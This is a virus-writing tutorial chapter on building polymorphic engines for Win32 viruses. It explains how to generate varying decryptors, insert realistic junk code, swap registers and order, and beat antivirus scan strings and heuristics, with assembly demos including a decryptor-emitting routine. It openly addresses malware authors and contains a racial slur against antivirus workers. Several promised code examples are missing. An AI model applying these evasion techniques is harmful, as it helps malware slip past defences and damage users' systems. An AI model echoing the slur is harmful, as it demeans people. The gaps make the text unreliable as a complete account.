Tutorials - Win32 Polymorphism

Win32 Polymorphism
by Billy Belcebu/IKX
[excerpt from "Billy Belcebu Virus Writing Guide 1.00 for Win32", 29A#4]

Well, many people said me that the most weak point in my guides for MS-DOS was the polymorphism chapter (Mmmh, i wrote it when 15, and btw, i knew asm for only 1 month). I know. But for this reason, here i am trying to write another one, completly new, and created from nothing. I read many polymorphism documents since then, and without any doubt, the document that most impacted me, was Qozah's one, although it is very simple, he explains very well all the concepts that we have to have more clear while coding a polymorphic engine (if you want to read it, download DDT#1 from all the good VX sites over the world). I will speak in some parts of this chapter for the really dumb lamers, so if you have a basical knowledge, skip'em!.

The main reason of the existence of the polymorphism is, as always, related with the existence of the AV. In the times where there weren't polymorphic engines, the AV simply used a scan string for detect the virus, and the greatest they had were encrypted viruses. So, one day a VX had a brilliant idea. I'm sure he thought "Why if i make an unscannable virus, at least, by the actual techniques?". Then polymorphism borned. Polymorphism means the attempt to eliminate all posible constant bytes in the only part of an encrypted virus that can be scanned: the decryptor. Yes, polymorphism means build variable decryptors for the virus. Heh, simple and effective. This is the basic concept: never build two equal decryptors (in shape) but perform the same action always. Is like the natural extension of the encryption, but as the encryption codes also weren't short enough, they could be catched with a string, but with polymorphism the strings are unuseful.

Each level of polymorphism has its own name, given by the AV ppl. Let's see it in a little extraction of AVPVE (good work, Eugene).

There exists a system of division of polymorphic viruses into levels according to complexity of code in decryptors of those viruses. Such a system was introduced by Dr. Alan Solomon and then enhanced by Vesselin Bontchev.

> Level 1: Viruses having a set of decryptors with constant code, choosing one while infecting. Such viruses are called "semi-polymorphic" or "oligomor phic".

Examples: "Cheeba", "Slovakia", "Whale".

> Level 2: Virus decryptor contains one or several constant instructions, the rest of it is changeable.
>
> Level 3: decryptor contains unused functions - "junk" like NOP, CLI, STI,etc
>
> Level 4: decryptor uses interchangeable instructions and changes their order (instructions mixing). Decryption algorithm remains unchanged.
>
> Level 5: all the above mentioned techniques are used, decryption algorithm is changeable, repeated encryption of virus code and even partial encryption of the decryptor code is possible.
>
> Levels 6: permutating viruses. The main code of the virus is subject to change to change, it is divided into blocks which are positioned in random order while infecting. Despite of that the virus continues to be able to work. Such viruses may be unencrypted.

Such a division still has drawbacks, because the main criteria is possibili- ty of virus detection according to the code of decryptor with the help of conventional technique of virus masks:

> Level 1: to detect the virus it is sufficient to have several masks
>
> Level 2: virus detection with the help of the mask using "wild cards"
>
> Level 3: virus detection with the help of the mask after deleting "junk" instructions
>
> Level 4: the mask contains several versions of possible code,that is becomes algorithmic
>
> Level 5: impossibility of virus detection using mask

Insufficiency of such a division is demonstrated in a virus of the third level of polymorphism, which is called accordingly - "Level3". This virus being one of the most complicated polymorphic viruses falls into the third category according to the current division, because it as a constant decryption algorithm, preceded by a lot of "junk" instructions. However in this virus the "junk" generation algorithm is finessed to perfection: in the code of decryptor one may find virtually all the i8086 instructions.

> If the viruses are to be divided into levels of the point of view of anti-viruses, using the systems of automatic decryption of virus code (emulators), then this division will depend on the virus code complexity. Other techniques of virus detection are possible, for example, decryption with the help of primary laws of mathematics, etc.
>
> Therefore to my mind a division is more objective, if besides the virus mask criterion, other parameters are taken into consideration.
>
> 1. The degree of complexity of polymorphic code (a percentage of all the instructions of the processor, which may be met in the decryptor code)
> 2. Anti-emulator technique usage
> 3. Constancy of decrypting algorithm
> 4. Constancy of decryptor size
>
> I would not like to describe those items in greater detail, because as a result it will definitely lead virus makers to creating monsters of such kind.

```
;---[ CUT HERE ]---------------------------------------------------------
;
; RNG Tester
;  ---------(
;
; If the icons on the screen are really "randomly"  placed, the RNG is a good
; one, but if all the icons are in the same zone of the screen, or you notice
; a strange comportament of the icons  over the screen, try with another RNG.
;

        .386
        .model  flat

res_x   equ     800d                            ; Horizontal resolution
res_y   equ     600d                            ; Vertical resolution

extrn   LoadLibraryA:PROC                       ; All the APIs needed by the
extrn   LoadIconA:PROC                          ; RNG tester
extrn   DrawIcon:PROC
extrn   GetDC:PROC
extrn   GetProcAddress:PROC
extrn   GetTickCount:PROC
extrn   ExitProcess:PROC

        .data

szUSER32        db      "USER32.dll",0          ; USER32.DLL ASCIIz string

a_User32        dd      00000000h               ; Variables needed
h_icon          dd      00000000h
dc_screen       dd      00000000h
rnd32_seed      dd      00000000h
rdtsc           equ     <dw 310Fh>

        .code

RNG_test:
        xor     ebp,ebp                         ; Bah, i am lazy and i havent
                                                ; removed indexations of the
                                                ; code... any problem?

        rdtsc
        mov     dword ptr [ebp+rnd32_seed],eax

        lea     eax,dword ptr [ebp+szUSER32]
        push    eax
        call    LoadLibraryA

        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+a_User32],eax

        push    32512
        xor     edx,edx
```

```
        push    edx
        call    LoadIconA
        or      eax,eax
        jz      exit_payload

        mov     dword ptr [ebp+h_icon],eax

        xor     edx,edx
        push    edx
        call    GetDC
        or      eax,eax
        jz      exit_payload
        mov     dword ptr [ebp+dc_screen],eax

        mov     ecx,00000100h                   ; Put 256 icons in the screen

loop_payload:

        push    eax
        push    ecx
        mov     edx,eax
        push    dword ptr [ebp+h_icon]
        mov     eax,res_y
        call    get_rnd_range
        push    eax
        mov     eax,res_x
        call    get_rnd_range
        push    eax
        push    dword ptr [ebp+dc_screen]
        call    DrawIcon
        pop     ecx
        pop     eax
        loop    loop_payload

exit_payload:
        push    0
        call    ExitProcess

; RNG - This example is by GriYo/29A (see Win32.Marburg)
;
; For test the validity of your RNG, put its code here ;)
;

random  proc
        push    ecx
        push    edx
        mov     eax,dword ptr [ebp+rnd32_seed]
        mov     ecx,eax
        imul    eax,41C64E6Dh
        add     eax,00003039h
        mov     dword ptr [ebp+rnd32_seed],eax
        xor     eax,ecx
        pop     edx
        pop     ecx
        ret
```

```
random  endp

get_rnd_range proc
        push    ecx
        push    edx
        mov     ecx,eax
        call    random
        xor     edx,edx
        div     ecx
        mov     eax,edx
        pop     edx
        pop     ecx
        ret
get_rnd_range endp

end     RNG_test

;---[ CUT HERE ]---------------------------------------------------------
```

Haha,Eugene! i will, sucka! ;) Ain't it charming when the AV niggas do one's job? :)

First of all, you must have clear in your mind how you basically want the decryptor look like. For example:

A very simple example should be that, ok? Well, mainly we have 6 blocks here (each instruction is a block). Imagine how many different possibilities you have of make that code different:

- Change registers
- Change the order of the 3 first instructions
- Use different instructions for make the same action
- Insert do-nothing instructions
- Insert garbage,etc.

Well, this is mainly the idea of polymorrphism. Let's see a possible decryptor generated with a simple polymorphic engine, with this same decryptor:

Did you catch the idea? Well, for the AV, to catch a decryptor as this one ain't very difficult (well, it's more difficult for them rather than an unencrypted virus). Many improvements could be done, believe me. I think you realized that we need different procedures in your poly engine: one for create the "legitimal" instructions of the decryptor, and another for create the garbage. This is the main idea you must have when coding a poly engine. From this point, i'm gonna try to explain as better as i can both.

Yes, the most important part in a polymorphic engine is the Random Number Generator, aka RNG. A RNG is a piece of code that can return a completly random number. Here goes the typical one for DOS, that works too in Win9X, even under Ring-3, but not in NT.

This will return in the MSW of EAX zero, and a random value in the LSW of said register. But this is not powerful... We must seek another one... and this is up to you. The only thing i can do at this point for you is to show you how to know if your RNG is powerful, with a little program. It consists in a "rip" of Win32.Marburg payload (by GriYo/29A), and testing the RNG of this virus, by GriYo too. Of course that the code is adapted and correctly stripped, and could be easily compiled and executed.

It's interesting, at least for me, to see the comportaments of the different mathematical operations :)

I think you should know what i am going to explain, so, if you already have coded a poly engine, or you know how to create one, i sincerely recommend you to pass this point, or you would begin to damn my ass, and i don't want it.

Well, first of all, we will generate the code in a temporal buffer somewhere ussually in the heap, but could be done easily allocating memory with the VirtualAlloc or GlobalAlloc APIs. We have only to put a pointer to the beginning of such buffer memory zone, and this register is ussually EDI, coz the optimization by using STOS set of instructions. So we have to put in this memory buffer the opcodes' bytes. Ok, ok, if you still think that i am a sucker because i explain things without silly code examples, i will demonstrate you that you are wrong.

```
;---[ CUT HERE ]---------------------------------------------------------------
;
; Silly PER basic demonstrations (I)
;  --------------------------------╭
;

        .386                                    ; Blah
        .model  flat

        .data

shit:

buffer  db      00h

        .code

Silly_I:

        lea     edi,buffer                      ; Pointer to the buffer
        mov     al,0C3h                         ; Byte to write, in AL
        stosb                                   ; Write AL content where EDI
                                                ; points
        jmp     shit                            ; As the byte we wrote, C3,
                                                ; is the RET opcode, we fi-
                                                ; nish the execution.

end     Silly_I

;---[ CUT HERE ]---------------------------------------------------------------
```

Compile the previous thingy and see what happens. Heh? It doesn't do nothing i know. But you see that you generated the code, not coded it directly, and i demonstrated you that you can generate code from nothing, and think about the possibilities, you can generate a whole useful code from nothing in a buffer. This is bassically the concept of polymorphic engines code (not the poly engines generated code) of how to generate the decryptor code. So, imagine we want to code something like our set of instructions:

Then, basically the code for generate that decryptor from the scratch would be like this one:

Ok, then you have generated the code as it should be, but you realized that is very easy to add do-nothing instruction between the real ones, by using the same method. You could experiment with one-byte instructions, for example, for see its captabilities.

```
;---[ CUT HERE ]---------------------------------------------------------------
;
; Silly PER basic demonstrations (II)
;  ---------------------------------┌
;

        .386                                    ; Blah
        .model  flat

virus_size      equ     12345678h               ; Fake data
crypt           equ     87654321h
crypt_key       equ     21436587h

        .data

        db      00h

        .code

Silly_II:

        lea     edi,buffer                      ; Pointer to the buffer
                                                ; is the RET opcode, we fi-
                                                ; nish the execution.

        mov     al,0B9h                         ; MOV ECX,imm32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,virus_size                  ; The imm32 to store
        stosd                                   ; Store EAX where EDI points

        call    onebyte

        mov     al,0BFh                         ; MOV EDI,offset32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,crypt                       ; Offset32 to store
        stosd                                   ; Store EAX where EDI points

        call    onebyte

        mov     al,0B8h                         ; MOV EAX,imm32 opcode
        stosb                                   ; Store AL where EDI points
        mov     eax,crypt_key
        stosd                                   ; Store EAX where EDI points

        call    onebyte

        mov     ax,0731h                        ; XOR [EDI],EAX opcode
        stosw                                   ; Store AX where EDI points

        mov     ax,0C783h                       ; ADD EDI,imm32 (>7F) opcode
        stosw                                   ; Store AX where EDI points
        mov     al,04h                          ; Imm32 (>7F) to store
        stosb                                   ; Store AL where EDI points

        mov     ax,0F9E2h                       ; LOOP @@1 opcode
```

```
        stosw                                   ; Store AX where EDI points

        ret

random:
        in      eax,40h                         ; Shitty RNG
        ret

onebyte:
        call    random                          ; Get a random number
        and     eax,one_size                    ; Make it to be [0..7]
        mov     al,[one_table+eax]              ; Get opcode in AL
        stosb                                   ; Store AL where EDI points
        ret

one_table       label byte                      ; One-byters table
        lahf
        sahf
        cbw
        clc
        stc
        cmc
        cld
        nop
one_size        equ     ($-offset one_table)-1

buffer  db      100h dup (90h)                  ; A simple buffer

end     Silly_II

;---[ CUT HERE ]---------------------------------------------------------
```

Heh, i built a polymorphism of a weak level 3, tending to level 2 ;) Wheee!! The register exchanging will be explained later, as it goes with the opcode formation. But my target in this little sub-chapter is done: you should now have an idea of what we want to do. Imagine that instead onebyters you use twobyters, such as PUSH REG/POP REG, CLI/STI, etc.

Let's take a look (again) to our set of instructions.

For perform this same action, but with different code, many many things could be done, and this is our objective. For example, the first 3 instructions could be ordered in any other form, and the result wouldn't change, so you can create a function for randomize their order. And we could use any other set of registers, without any kind of problem. And we could use a dec/jnz instead a loop... Etc, etc, etc...

- Your code should be able to generate, for example, something like this for perform one simple instruction, let's imagine, the first mov:

All those things would generate different opcodes, and would perform the same job, that is, put in ECX the size of the virus. Of course, there are billions of possiblities, because you can use a hige amount of instructions only for put a certain value in a register. It requires a lot of

imagination from your side.

- Another thing is the order of the instructions. As i commented before, you can change easily the order of the instructions without any kind of problem, because the order for them doesn't matter. So, for example, instead the set of instructions 1,2,3 we could make it to be 3,1,2 or 1,3,2 etc, etc. Just let your imagination play.

- Very important too, is to exchange registers, because the opcode changes too for each opcode (for example, MOV EAX,imm32 is encoded as B8 imm32 and MOV ECX,imm32 is coded B9 imm32). You should use 3 registers for the decryptor from the 7 we could use (*NEVER* use ESP!!!). For example, imagine we choose (randomly) 3 registers, EDI as base pointer, EBX as key and ESI as counter; then we can use EAX, ECX, EDX and EBP as junk registers for the garbage instructions. Let's see an example about code for select 3 registers for our decryptor generation:

Now you have in 3 variables 3 different registers we could use freely without any kind of problem. With the EAX register we have a problem, not very important, but a problam indeed. As you know, the EAX register has, in some instructions, an optimized opcode for work. This is not a problem, because the code get executed equally, but the heuristics will notice that some opcodes are built in an incorrect way, a way that never a "real" assembler would do. You have two choices: if you still want to use EAX, for example, as an "active" reg in your code, you should check for it, and optimize if you could, or simply avoid to use EAX register as an "active" register of the decryptor, and use it only for garbage, directly using its optimized opcodes (build a table with them would be a great choice). We'll see it later. I recommend to use a mask register, for eventual garbage games :)

In the quality of the garbage is the 90% of the quality of your polymorphic engine. Yes, i've said "quality" and not "quantity" as you should think. First of all i will present you the two options you have when coding a polymorphic engine:

- Generate realistic code, with appearence of legitimal application code. For example, GriYo's engines.

- Generate as much instructions as possible, with appareance of a corrupt file (use copro). For example, Mental Driller's MeDriPoLen (see Squatter).

- CALLs (and CALLs within CALLs within CALLs...) in many different ways
- Unconditional JMPs

Something realist is something that seem real, although it is not. With this i am trying to explain the following: what about if you see a hugh amount of code without CALLs and JUMPs? What about if it doesn't have a conditional jump after a CMP? It's almost impossible, as you, me and the AV know. So we must be able to generate all those kind of garbage structures:

- CMP/Conditional jumps
- TEST/Conditional jumps
- Always use optimized instructions if working with EAX
- Use memory accesses
- Generate PUSH/garbage/POP structures
- Generate very little amount of one-byters (if any)

+ Mental Drillism... ehrm... Corrupt code likeness:

This happens when the decryptor is full of non-senses, opcodes that make it to don't seem code, that is, don't respecting the rules listed before, and also, using coprocessor do-nothing instruction, and of course, use as much opcodes as possible.

Well, and now i will try to explain all the points of the code generation. Firstly, let's begin with all the things related to all them, the CALLs and the unconditional jumps.

+ About the first point, the calls, it's very simple. You could do it, make calls to subroutines, by many ways:

```
. Figure 1 -------.        . Figure 2 -------.        . Figure 3 -------.
|      call   @@1 |        |      jmp    @@2 |        |      push   @@2 |
|      ...        |        |      ...        |        |      ...        |
|      jmp    @@2 |        | @@1:            |        | @@1:            |
|      ...        |        |      ...        |        |      ...        |
| @@1:            |        |      ret        |        |      ret        |
|      ...        |        |      ...        |        |      ...        |
|      ret        |        | @@2:            |        | @@2:            |
|      ...        |        |      ...        |        |      ...        |
| @@2:            |        |      call   @@1 |        |      call   @@1 |
'-----------------'        '-----------------'        '-----------------'
```

Of course you can mix'em all, and as result, you have a lot of ways to make a subroutine inside a decryptor. And, of course, you can fall into the recur sivity (you will hear me talk more times about it), and there might be CALLs inside another CALLs, and all those inside another CALL, and another... whoa a really big headache.

By the way, a good option could be to store some of those subroutines' offsets and call them anywhere in the generated code.

+ About unconditional jumps, it's very easy, as we don't have to take care about the instructions between the byte after the jump until jump's range, we can insert totally random opcodes, such as trash...

Now i'm gonna discuss about the realism in the code. GriYo could be labeled as the greatest exponent in this kind of engines; if you see the engines of his Marburg, or his HPS, you will realize that, although its simplicity, he tries to make the code to seem as real as possible, and

this made AV go mad before getting a reliable algorithm againist it. Ok, let's begin with some basic points:

+ About 'CMP/Conditional jump' structure, its preety clear, because you will never use a compare if you after don't put a conditional jump... Ok, but try to make jumps with non-zero displacement, that is, generate some executable garbage between the conditional jump and the offset where it should jump (or not), and the code will be less suspicious in the eyes of the analyzer.

+ Same with TEST, but use JZ or JNZ, because as you know, TEST only affects the zero flag.

+ One of the most easily made fails are with the AL/AX/EAX registers, because they have their own optimized opcodes. You have the examples in the following instructions:

+ About the memory accesses, a good choice could be to get at least 512 bytes of the infected PE file, place them somewhere in the virus, and make accesses to them, for read and for write. Try to use besides the simple indexation, double, and if your mind can afford it, try to use double indexation with multiplication, a'la [ebp+esi*4] for example. Ain't as difficult as you can think, believe me. You can also make memory movements, with MOVS directives, also use STOS, LODS, CMPS... All string operations can be used too. It's up to you.

+ PUSH/TRASH/POP strutures are very usefull, because the simplicity of its adding to the engine, and because the good results, as it's a very normal structure in a legitimal program.

+ The amont of one-byters, if too high, could show our presence to the AV, or to the eyes of a curious person. Think that the normal programs doesn't normally use them, so it could be better to add a check for avoid as much as possible their usage, but still using one or two each 25 bytes (i think its a good rate).

+ You can use, for example, the following 2 byte coprocessor instructions as garbage without any kind of problem:

f2xm1, fabs, fadd, faddp, fchs, fnclex, fcom, fcomp, fcompp, fcos, fdecstp, fdiv, fdivp, fdivr, fdivrp, ffree, fincstp, fld1, fldl2t, fldl2e, fldpi, fldln2, fldz, fmul, fmulp, fnclex, fnop, fpatan, fprem, fprem1, fptan, frndint, fscale, fsin, fsincos, fsqrt, fst, fstp, fsub, fsubp, fsubr,fsubrp, ftst, fucom, fucomp, fucompp, fxam, fxtract, fyl2x, fyl2xp1.

Just put in the beginning of the virus this two instructions in order to re- set the coprocessor:

Mental Driller is going into realism right now (as far as i know) with his latest impressive engine (TUAREG), so...

This is probably the most important thing related with polymorphy: the relation that exist between the same instruction with different register, or between two instructions of the same family. The relationship between them is very clear if we pass the values to binary. But

before, some useful info:

```
Regs in binary > 000 001 010 011 100 101 110 111
                 vvv vvv vvv vvv vvv vvv vvv vvv
Byte registers > AL  CL  DL  BL  AH  CH  DH  BH
Word registers > AX  CX  DX  BX  SP  BP  SI  DI
Extended regs  > EAX ECX EDX EBX ESP EBP ESI EDI
Segments       > ES  CS  SS  DS  FS  GS  --  --
MMX registers  > MM0 MM1 MM2 MM3 MM4 MM5 MM6 MM7
```

Well, i think that my big error while writing my serials of Virus Writing Guides for MS-DOS was in the part i explained the OpCodes structure, and all those shit. What i am going to describe here is a bit of "do it yourself", exactly what i do when writing a poly engine. Just take an example of a XOR opcode...

Do you see the difference? I use to take a debugger, and then write the op- code i want to construct with some registers, and see what changes. Ok, as you can see (hey! you aren't blind, are you?) the byte that changes is the second one. Now comes the funny part: put the values in binary.

Ok, you see what changed? The last three bits, rite? Ok, now go to the part where i put the registers in binary :) As you have realized, the three bits have changed according to the register value. So...

Just try to put another binary value to that three bits and you'll see how the register changes. But be careful... don't use EAX value (000) with this opcode, because, as all the arithmetic instructions, is optimized for EAX, thus changing completly the OpCode. Besides, if you put it with EAX, the heuritics will flag it (anyways it will work, but...).

So, debug all you wanna construct, see the relationship between them, and build a reliable code for generate anything. It's very easy!

It's a great point on your polymorphic engine. The recursivity must have a limit, but depending of that limit, the code can be VERY hard to follow (if the limit is high). Let's imagine we have a table with all offsets of all the junk constructors:

And now imagine your 'GenerateCALL' instructions calls from inside it to 'GenGarbage' routine. Heh, the 'GenGarbage' routine could call again to 'GenerateCALL', and again, and again (depends of the RNG), so you'll have CALLs inside CALLs inside CALLs... I've said before that thing of a limit just for avoid speed problems, but it is easily solved with these new 'GenGarbage' routine:

So, our engine will be able to generate huge amount of fooling code full of calls and such like ;) Of course, this also can be applied between PUSH and POP :)

Well, the polymorphism defines the coder, so i won't discuss much more. Just do it yourself instead of copying code. Just don't do the tipical engine with one simple kind of encryption operation and very basic junk such as are MOV, etc. Use all your imaginative mind can think. For example, there are many types of calls to do: three styles (as i described before), and besides that, you can build stack frames, PUSHAD/POPAD, pass parameters to it via PUSH (and after a RET x), and many many more. Be imaginative!